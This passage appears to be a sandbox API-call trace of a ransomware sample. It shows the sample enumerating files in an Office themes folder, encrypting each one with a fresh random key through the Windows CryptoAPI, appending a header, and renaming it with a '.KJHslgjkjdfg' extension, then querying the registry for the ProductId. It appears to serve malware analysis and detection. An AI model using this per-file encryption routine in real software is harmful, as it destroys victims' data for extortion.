dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.310] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.310] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.310] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x109d0, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x109d0, lpOverlapped=0x0) returned 1 [0173.314] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x109d0, dwBufLen=0x109d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x109d0) returned 1 [0173.315] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.315] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x109d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x109d0, lpOverlapped=0x0) returned 1 [0173.315] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.315] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.315] SetEndOfFile (hFile=0x12c) returned 1 [0173.318] GetProcessHeap () returned 0x2ef0000 [0173.318] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.318] GetProcessHeap () returned 0x2ef0000 [0173.318] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.kjhslgjkjdfg")) returned 1 [0173.319] CloseHandle (hObject=0x12c) returned 1 [0173.319] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0173.319] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.319] GetProcessHeap () returned 0x2ef0000 [0173.319] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.320] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.320] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.320] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0173.321] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.321] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.321] GetProcessHeap () returned 0x2ef0000 [0173.321] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.322] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.322] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.322] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.322] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.322] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.322] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.322] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.322] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.322] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.322] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.322] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.322] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ad, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1ad, lpOverlapped=0x0) returned 1 [0173.322] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1b0) returned 1 [0173.322] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.323] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1b0, lpOverlapped=0x0) returned 1 [0173.323] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.323] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.323] SetEndOfFile (hFile=0x12c) returned 1 [0173.325] GetProcessHeap () returned 0x2ef0000 [0173.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.325] GetProcessHeap () returned 0x2ef0000 [0173.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.kjhslgjkjdfg")) returned 1 [0173.330] CloseHandle (hObject=0x12c) returned 1 [0173.331] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.331] GetProcessHeap () returned 0x2ef0000 [0173.331] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.331] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.331] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.331] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.334] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.334] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.334] GetProcessHeap () returned 0x2ef0000 [0173.334] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.334] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.334] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.334] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.334] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.334] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.334] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.334] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.335] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.335] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.335] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.335] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.335] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9f8, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x9f8, lpOverlapped=0x0) returned 1 [0173.335] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa00, dwBufLen=0xa00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xa00) returned 1 [0173.335] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.335] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xa00, lpOverlapped=0x0) returned 1 [0173.335] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.335] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.335] SetEndOfFile (hFile=0x12c) returned 1 [0173.338] GetProcessHeap () returned 0x2ef0000 [0173.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.338] GetProcessHeap () returned 0x2ef0000 [0173.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.340] CloseHandle (hObject=0x12c) returned 1 [0173.340] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.341] GetProcessHeap () returned 0x2ef0000 [0173.341] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.341] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.341] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.341] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0173.343] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.343] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.343] GetProcessHeap () returned 0x2ef0000 [0173.343] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.343] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.343] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.343] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.343] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.343] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.344] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.344] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.344] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.344] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.344] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.344] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.344] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4981, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4981, lpOverlapped=0x0) returned 1 [0173.345] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4990, dwBufLen=0x4990 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4990) returned 1 [0173.345] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.345] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4990, lpOverlapped=0x0) returned 1 [0173.345] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.345] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.345] SetEndOfFile (hFile=0x12c) returned 1 [0173.348] GetProcessHeap () returned 0x2ef0000 [0173.348] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.348] GetProcessHeap () returned 0x2ef0000 [0173.348] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.348] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0173.349] CloseHandle (hObject=0x12c) returned 1 [0173.351] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0173.351] GetProcessHeap () returned 0x2ef0000 [0173.351] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.351] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.351] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0173.351] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.351] GetProcessHeap () returned 0x2ef0000 [0173.351] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0173.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.352] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0173.352] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.352] GetProcessHeap () returned 0x2ef0000 [0173.352] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f11d10 [0173.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.352] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11d10, pdwDataLen=0x4dfee20 | out: pbData=0x2f11d10, pdwDataLen=0x4dfee20) returned 1 [0173.352] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.352] GetProcessHeap () returned 0x2ef0000 [0173.352] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0173.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.352] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0173.352] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.352] GetProcessHeap () returned 0x2ef0000 [0173.352] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.352] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.352] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0173.352] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.352] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0173.353] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0173.353] RegCloseKey (hKey=0x12c) returned 0x0 [0173.353] GetProcessHeap () returned 0x2ef0000 [0173.353] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0173.353] GetProcessHeap () returned 0x2ef0000 [0173.353] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.353] GetProcessHeap () returned 0x2ef0000 [0173.353] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0173.353] 